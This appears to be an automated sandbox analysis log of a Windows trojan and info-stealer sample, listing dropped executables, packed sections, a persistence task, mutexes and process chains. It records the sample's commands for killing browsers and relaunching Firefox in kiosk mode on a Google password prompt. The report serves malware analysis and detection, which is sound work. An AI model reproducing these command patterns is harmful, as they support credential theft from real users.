Source: 8Z5C764IBSHZ8A5U9SVRCREF.exe.0.dr	Static PE information: section name:
Source: 8Z5C764IBSHZ8A5U9SVRCREF.exe.0.dr	Static PE information: section name: .idata
Source: QZRNZLINJW4FDHW89WOCWU0IJ.exe.0.dr	Static PE information: section name:
Source: QZRNZLINJW4FDHW89WOCWU0IJ.exe.0.dr	Static PE information: section name: .idata
Source: QZRNZLINJW4FDHW89WOCWU0IJ.exe.0.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name: .idata
Source: skotes.exe.4.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name: .rsrc
Source: random[1].exe.8.dr	Static PE information: section name: .idata
Source: 3f779c1cca.exe.8.dr	Static PE information: section name:
Source: 3f779c1cca.exe.8.dr	Static PE information: section name: .rsrc
Source: 3f779c1cca.exe.8.dr	Static PE information: section name: .idata
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: random[1].exe0.8.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.8.dr	Static PE information: section name: .idata
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: 994a9a760e.exe.8.dr	Static PE information: section name:
Source: 994a9a760e.exe.8.dr	Static PE information: section name: .rsrc
Source: 994a9a760e.exe.8.dr	Static PE information: section name: .idata
Source: 994a9a760e.exe.8.dr	Static PE information: section name:
Source: DBQJ2COS8NEE0DVFAHC8.exe.11.dr	Static PE information: section name:
Source: DBQJ2COS8NEE0DVFAHC8.exe.11.dr	Static PE information: section name: .idata
Source: DBQJ2COS8NEE0DVFAHC8.exe.11.dr	Static PE information: section name:
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe.11.dr	Static PE information: section name:
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe.11.dr	Static PE information: section name: .rsrc
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe.11.dr	Static PE information: section name: .idata
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe.11.dr	Static PE information: section name:
Source: 70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe.11.dr	Static PE information: section name:
Source: 70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe.11.dr	Static PE information: section name: .idata
Source: PR9MM82BT6H8ASEPAAV3FFFU6W4.exe.14.dr	Static PE information: section name:
Source: PR9MM82BT6H8ASEPAAV3FFFU6W4.exe.14.dr	Static PE information: section name: .rsrc
Source: PR9MM82BT6H8ASEPAAV3FFFU6W4.exe.14.dr	Static PE information: section name: .idata
Source: PR9MM82BT6H8ASEPAAV3FFFU6W4.exe.14.dr	Static PE information: section name:
Source: QVVPAZNCIISWKSVDLM23B.exe.14.dr	Static PE information: section name:
Source: QVVPAZNCIISWKSVDLM23B.exe.14.dr	Static PE information: section name: .idata
Source: HR483MUGWRQ77A8EZ5D.exe.14.dr	Static PE information: section name:
Source: HR483MUGWRQ77A8EZ5D.exe.14.dr	Static PE information: section name: .idata
Source: HR483MUGWRQ77A8EZ5D.exe.14.dr	Static PE information: section name:

PE file has a writeable .text section

Source: num[1].exe.8.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num.exe.8.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05F6CF78	0_3_05F6CF78
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05F6CF78	0_3_05F6CF78
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016B75F8	0_3_016B75F8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016AA301	0_3_016AA301
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016B0600	0_3_016B0600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05F6CF78	0_3_05F6CF78
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05F6CF78	0_3_05F6CF78
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016AA301	0_3_016AA301

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe 27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.999445647689769
Source: B7KMZCE66VGDP83M16.exe.0.dr	Static PE information: Section: uolrxmar ZLIB complexity 0.9948609923408686
Source: QZRNZLINJW4FDHW89WOCWU0IJ.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9975146883514986
Source: QZRNZLINJW4FDHW89WOCWU0IJ.exe.0.dr	Static PE information: Section: gwmdqjxo ZLIB complexity 0.9949166666666667
Source: skotes.exe.4.dr	Static PE information: Section: ZLIB complexity 0.9975146883514986
Source: skotes.exe.4.dr	Static PE information: Section: gwmdqjxo ZLIB complexity 0.9949166666666667
Source: random[1].exe.8.dr	Static PE information: Section: ZLIB complexity 0.999445647689769
Source: 3f779c1cca.exe.8.dr	Static PE information: Section: ZLIB complexity 0.999445647689769
Source: random[1].exe0.8.dr	Static PE information: Section: uolrxmar ZLIB complexity 0.9948609923408686
Source: 994a9a760e.exe.8.dr	Static PE information: Section: uolrxmar ZLIB complexity 0.9948609923408686
Source: DBQJ2COS8NEE0DVFAHC8.exe.11.dr	Static PE information: Section: ZLIB complexity 0.9975146883514986
Source: DBQJ2COS8NEE0DVFAHC8.exe.11.dr	Static PE information: Section: gwmdqjxo ZLIB complexity 0.9949166666666667
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe.11.dr	Static PE information: Section: uolrxmar ZLIB complexity 0.9948609923408686
Source: PR9MM82BT6H8ASEPAAV3FFFU6W4.exe.14.dr	Static PE information: Section: uolrxmar ZLIB complexity 0.9948609923408686
Source: HR483MUGWRQ77A8EZ5D.exe.14.dr	Static PE information: Section: ZLIB complexity 0.9975146883514986
Source: HR483MUGWRQ77A8EZ5D.exe.14.dr	Static PE information: Section: gwmdqjxo ZLIB complexity 0.9949166666666667

Source: B7KMZCE66VGDP83M16.exe, 0000000A.00000003.2763572161.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp, B7KMZCE66VGDP83M16.exe, 0000000A.00000002.2803875794.0000000000531000.00000040.00000001.01000000.0000000B.sdmp, 994a9a760e.exe, 0000000C.00000003.2963698555.0000000005200000.00000004.00001000.00020000.00000000.sdmp, 994a9a760e.exe, 0000000C.00000002.3021034052.0000000000831000.00000040.00000001.01000000.0000000D.sdmp, num.exe, 0000001F.00000000.3094563198.0000000000FEE000.00000002.00000001.01000000.00000018.sdmp, num.exe, 0000001F.00000002.3126200943.0000000000FEE000.00000002.00000001.01000000.00000018.sdmp, 994a9a760e.exe, 00000020.00000003.3125229044.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, 994a9a760e.exe, 00000020.00000002.3227402692.0000000000831000.00000040.00000001.01000000.0000000D.sdmp, 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe, 00000022.00000002.3314353221.00000000005D1000.00000040.00000001.01000000.0000001A.sdmp, 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe, 00000022.00000003.3179696376.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@84/42@110/15

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6408:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5504:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2224:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2060:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1060:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1136:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6540:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3324:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1336:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:416:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.2231661497.0000000005F73000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231396926.0000000005F92000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2242910849.0000000005F97000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2243035911.0000000005F8A000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2912379846.0000000005AA5000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2927175602.0000000005AB0000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926601310.00000000059D6000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3079669206.0000000005252000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3079087039.000000000525E000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3067067030.0000000005220000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066024389.000000000524F000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 42%

Source: QZRNZLINJW4FDHW89WOCWU0IJ.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: B7KMZCE66VGDP83M16.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: ZRRtlAllocateHeap3Cannot find '%s'. Please, re-install this applicationThunRTMain__vbaVarTstNe

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe "C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe "C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe "C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe "C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe "C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe "C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe "C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe"
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2308 -parentBuildID 20230927232528 -prefsHandle 2232 -prefMapHandle 2224 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c73eb302-b62d-4664-8c1e-f311557443d0} 5232 "\\.\pipe\gecko-crash-server-pipe.5232" 2ae78e6ef10 socket
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001105001\num.exe "C:\Users\user\AppData\Local\Temp\1001105001\num.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe "C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe"
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Process created: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe "C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe"
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Process created: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe "C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=912 -parentBuildID 20230927232528 -prefsHandle 2792 -prefMapHandle 3796 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {900b7ccc-f93b-4c39-acf6-c4309c8be80c} 5232 "\\.\pipe\gecko-crash-server-pipe.5232" 2ae0b544510 rdd
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Process created: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe "C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe "C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe"
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe "C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe "C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe "C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe "C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe "C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe "C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001105001\num.exe "C:\Users\user\AppData\Local\Temp\1001105001\num.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Process created: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe "C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Process created: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe "C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Process created: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe "C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2308 -parentBuildID 20230927232528 -prefsHandle 2232 -prefMapHandle 2224 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c73eb302-b62d-4664-8c1e-f311557443d0} 5232 "\\.\pipe\gecko-crash-server-pipe.5232" 2ae78e6ef10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
